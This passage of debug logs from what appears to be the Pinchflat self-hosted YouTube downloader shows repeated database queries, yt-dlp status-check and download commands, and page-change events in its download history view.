m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 21:30:11.650 [debug] QUERY OK source="settings" db=0.0ms idle=0.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:30:11.650 [debug] QUERY OK source="settings" db=0.0ms idle=0.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:30:11.650 [debug] Running yt-dlp command for action: get_downloadable_status 21:30:11.651 [debug] QUERY OK source="settings" db=0.0ms idle=0.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:30:11.651 [debug] QUERY OK source="settings" db=0.0ms idle=0.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:30:11.651 [debug] QUERY OK source="settings" db=0.0ms idle=0.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:30:11.651 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=V-daEZp3YLA --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/a1/14/a1140aa3e59a81be89f5ec26285a28bec311edd3742d12923efff055f99b6c9c.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 21:30:14.283 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=V-daEZp3YLA --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/a1/14/a1140aa3e59a81be89f5ec26285a28bec311edd3742d12923efff055f99b6c9c.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 21:30:14.283 [debug] Running yt-dlp command for action: download 21:30:14.284 [debug] QUERY OK source="settings" db=0.0ms idle=1226.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:30:14.284 [debug] QUERY OK source="settings" db=0.0ms idle=1226.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:30:14.284 [debug] QUERY OK source="settings" db=0.0ms idle=1226.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:30:14.284 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=V-daEZp3YLA --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --embed-subs --sub-langs en --embed-thumbnail --convert-thumbnail jpg --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/Last Meals/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/25/f7/25f7fd76b996681144a2a5a39e1e4dffd46224322a6a18ced64b7e81f0ad8a93.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 21:30:23.881 [debug] HANDLE EVENT "page_change" in Pinchflat.Pages.HistoryTableLive Parameters: %{"direction" => "inc"} 21:30:23.883 [debug] QUERY OK source="media_items" db=0.9ms queue=0.1ms idle=1824.4ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 21:30:23.884 [debug] QUERY OK source="media_items" db=1.1ms idle=1825.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 5] 21:30:23.885 [debug] QUERY OK source="sources" db=0.3ms idle=1389.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 21:30:23.886 [debug] Replied in 4ms 21:30:25.104 [debug] HANDLE EVENT "page_change" in Pinchflat.Pages.HistoryTableLive Parameters: %{"direction" => "inc"} 21:30:25.105 [debug] QUERY OK source="media_items" db=0.8ms idle=605.3ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 21:30:25.106 [debug] QUERY OK source="media_items" db=1.1ms idle=47.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 10] 21:30:25.107 [debug] QUERY OK source="sources" db=0.2ms idle=49.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 21:30:25.107 [debug] Replied in 3ms 21:30:25.878 [debug] HANDLE EVENT "page_change" in Pinchflat.Pages.HistoryTableLive Parameters: %{"direction" => "inc"} 21:30:25.879 [debug] QUERY OK source="media_items" db=0.5ms idle=821.2ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 21:30:25.880 [debug] QUERY OK source="media_items" db=0.7ms idle=774.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 15] 21:30:25.881 [debug] QUERY OK source="sources" db=0.2ms idle=774.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 21:30:25.881 [debug] Replied in 2ms 21:30:26.739 [debug] HANDLE EVENT "page_change" in Pinchflat.Pages.HistoryTableLive Parameters: %{"direction" => "inc"} 21:30:26.740 [debug] QUERY OK source="media_items" db=0.4ms idle=1239.8ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 21:30:26.741 [debug] QUERY OK source="media_items" db=0.5ms idle=860.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 20] 21:30:26.741 [debug] QUERY OK source="sources" db=0.0ms idle=860.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 21:30:26.741 [debug] Replied in 1ms 21:30:27.421 [debug] HANDLE EVENT "page_change" in Pinchflat.Pages.HistoryTableLive Parameters: %{"direction" => "inc"} 21:30:27.422 [debug] QUERY OK source="media_items" db=0.6ms idle=919.9ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 21:30:27.424 [debug] QUERY OK source="media_items" db=1.1ms idle=682.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 25] 21:30:27.425 [debug] QUERY OK source="sources" db=0.4ms idle=684.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?)) [2, 1] 21:30:27.425 [debug] Replied in 4ms 21:30:28.707 [info] {"source":"oban","duration":1218,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:30:29.639 [debug] HANDLE EVENT "page_change" in Pinchflat.Pages.HistoryTableLive Parameters: %{"direction" => "inc"} 21:30:29.640 [debug] QUERY OK source="media_items" db=0.5ms idle=932.3ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 21:30:29.642 [debug] QUERY OK source="media_items" db=1.1ms idle=583.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 30] 21:30:29.643 [debug] QUERY OK source="sources" db=0.4ms idle=585.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?)) [2, 1] 21:30:29.643 [debug] Replied in 3ms 21:30:30.703 [debug] HANDLE EVENT "page_change" in Pinchflat.Pages.HistoryTableLive Parameters: %{"direction" => "inc"} 21:30:30.704 [debug] QUERY OK source="media_items" db=0.5ms idle=1195.9ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 21:30:30.705 [debug] QUERY OK source="media_items" db=0.7ms idle=1063.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" 